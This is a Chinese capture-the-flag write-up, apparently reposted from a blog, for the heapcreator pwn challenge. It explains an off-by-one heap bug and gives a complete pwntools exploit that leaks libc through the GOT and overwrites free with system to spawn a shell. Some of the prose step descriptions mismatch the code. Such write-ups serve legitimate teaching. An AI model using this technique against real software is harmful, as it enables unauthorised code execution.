BUUCTF--hitcontraining_heapcreator1

发布时间:2024年01月05日

老规矩上来看保护:


64位架构并且除了PIE全开。接着黑盒测试下场景:


菜单题不用想就是堆。接着我们我们看看IDA中的逻辑:


程序的主要逻辑是增删改查。我们看看创建堆的过程:


注释我已给出,步骤大概如下:

1.创建一个索引堆,大小为0x10,前八个字节放Size,后八个字节放用户开辟的堆地址。

2.创建用户要求大小的堆,用户存放用户数据。

下面测试一下创建一个大小为0x10的堆,输入数据aaaaa:


下面我们看下释放堆快的代码:


我们看到释放堆快这里没有什么问题,也不存在UAF漏洞。接下来我们看看改堆快内容的代码逻辑:


在edit中我们找到了漏洞所在。show的代码我们就不看了一般是用来泄露地址的。因此我们就需要利用Off-by-one,来伪造一个chunk。以此来达到我们的目的。

根据上述代码逻辑,我们的漏洞利用思路如下:

1.申请三个大小一样的chunk,分别为chunk0,chunk1,chunk2。

2.接着修改chunk0的内容填入bin/sh作为后续system的参数,利用off-by-one并修改下一个索引chunk的大小为0x81(覆盖的是chunk1的索引堆)。

3.将chunk1释放掉,并申请回来此时我们将拥有0x80大小的空间任我们写入。并能够在chunk1的索引堆上修改用户堆地址为我们可利用的got表项。

4.通过show泄露got表地址,并计算libc的基地址,并得出system的地址

5.利用read_input函数将system的地址写入free的got表中

6.触发利用

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-


from pwn import *


#r = remote('node5.buuoj.cn',28780)
r = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") #这是我本地的,要用你自己本地的或者题目提供的
context.log_level='debug'


def add(size,content):
    r.sendlineafter("choice :",'1')
    r.sendlineafter("Heap : ",str(size))
    r.sendlineafter("heap:",content)

def edit(idx,content):
    r.sendlineafter("choice :",'2')
    r.sendlineafter("Index :",str(idx))
    r.sendlineafter("heap : ",content)

def show(idx):
    r.sendlineafter("choice :",'3')
    r.sendlineafter("Index :",str(idx))

def delete(idx):
    r.sendlineafter("choice :",'4')
    r.sendlineafter("Index :",str(idx))

free_got = elf.got['free']

add(0x18,"aaaaa")   #这里不能用0x10 程序会奔溃 0x18效果是一样的
add(0x10,"aaaaa")
add(0x10,"aaaaa")
#gdb.attach(r)

#pause()

edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')


delete(1)
 
add(0x70,p64(0)*8+p64(0x8)+p64(free_got))

free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']

edit(2,p64(system_addr))

delete(0)

r.interactive()

下面我们看看具体的布局:

申请三个大小一样的堆:


接下来通过漏洞从chunk1的用户输入bin/sh并将chunk2的索引堆大小给改成0x80:


释放掉chunk1接着再申请回来,我们将拥有对0x80的操作权限,并将free_got表地址写入chunk3的索引堆中:


此时往chunk3这个用户堆写数据,将会写入free_got表里,这样我们可以将伪造的system的地址写入free_got表,一旦调用free,将会去执行system。可能有些师傅会在这里有困惑,答案在这里:

这句其实可以这样解读read(0,对应索引堆里的那个堆地址,Size),现在他将变成这样read(0,&free_got,Size)。不知道这样解释明白不,大神忽略。

最后,我们释放chunk1,他将直接执行system函数,并将堆地址给当成参数传入:



理解思路就好,我分别三次下断点运行调试的,因此堆的地址在变化,不必纠结。到这里就结束了。

文章来源:https://blog.csdn.net/qq_30528603/article/details/135392150
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。